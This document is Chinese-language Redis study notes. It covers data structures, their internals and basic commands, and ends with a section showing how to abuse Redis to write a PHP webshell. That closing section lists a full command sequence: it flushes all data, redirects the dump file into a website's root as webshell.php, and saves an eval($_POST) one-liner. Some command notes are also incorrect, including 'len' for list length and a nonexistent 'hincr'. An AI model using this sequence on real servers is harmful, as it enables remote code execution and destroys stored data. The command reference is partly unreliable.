Redis
基本数据结构
参考来源1。
- string 字符串
- list 列表
- hash 字典
- set 集合
- zset 有序集合
list, hash, set, zset 四种是容器型数据结构,共享以下规则:
- create if not exists
- drop if no elements
string
Redis 中最简单也是最广泛使用的数据结构,内部是一个字符数组,通过预分配(冗余分配),即对字符数组预先分配一定空间,达到扩容阈值时,再按规则进行扩容。 Redis 中的扩容规则:
- 长度小于 1MB ,增加一倍
- 长度大于 1MB ,每次增加 1MB
- 最大长度 512MB
操作指令
# 增/改 set key value # 查 get key # 删 del key [key ...] # 批量增 mset key value [key value ...] # 批量查 mget key [key ...] # 设置过期时间 expire key seconds setex key seconds value # 不存在则增,存在则不改 setnx key value # 当 value 为整数时,自增 incr key # 自定义累加值 incrby key increment
list
双向链表数据结构,支持前后顺序遍历。使用场景如异步队列。 Redis 底层的 list 是一个 quicklist ,由多个 ziplist 组成成的双向列表, ziplist 指一块连续的内存存储空间。 Redis 对于 list 的存储,当元素个数少时,使用一块连续的内存,以减少为元素增加 prev 和 next 指针带来的内存消耗。同时减少内存碎片。
操作指令
# 获取列表长度 len key # 从左边添加元素 lpush key value [value ...] # 从右边添加元素 rpush key value [value ...] # 从左边弹出元素 lpop key # 从右边弹出元素 rpop key # 慢操作 # 遍历获取指定索引处的值,索引为负数,-1 为倒数第一个 lindex key index # 获取 begin 到 end 处的全部值 lrange key begin end # 截取 begin 到 end 处的全部值,其他将被删除 ltrim key begin end
hash
hash 相当于根据散列值分布的无序字典,内部的元素通过键值对的方式存储。 Redis 中 hash 底层是由数组 + 链表组成的。 Redis 的 hash 的 value 只能是 string ,扩容采用 rehash 。
操作指令
# 增/改 hset dict key value # 批量增/改 key value hmset dict key value [key value ...] # 查指定 key hget dict key # 查所有 key hgetall dict # 字典大小 hlen dict # value 是整数,可以自增 hincr dict key hincrby dict key increment
set
set 内部的键值是无序的、唯一的,内部实现了一个所有 value 为 null 的特殊字典。
操作指令
# 增 sadd set key [key ...] # 查 smembers set # 查 sismember set key # 长度 scard set # 删 spop set [count=1]
zset
通过 value 的 score (权重)进行排序,排序通过 Skip List 实现。
操作指令
# 增 zadd set score key [score key] # 查,按权重从小到大输出 begin 到 end 之间的元素 zrange set beigin end [WITHSCORES] # 从大到小 zrevrange set begin end [WITHSCORES] # 长度 zcard set # 查 score zscore set key # 查排名 zrank set key # 查 score 范围在 min 和 max 之间的 zrangebyscore set min max [WITHSCORES] [LIMIT offset count] # 删 zrem set key [key ...]
Redis 写文件落盘 security
flushall config set dir C:\phpstudy_pro\WWW\one.php.local\ config set dbfilename webshell.php set shell "<?php eval($_POST["pass"]);?>" save
这样在 one.php.local 网站的根目录下就写了 webshell.php 这个一句话木马文件。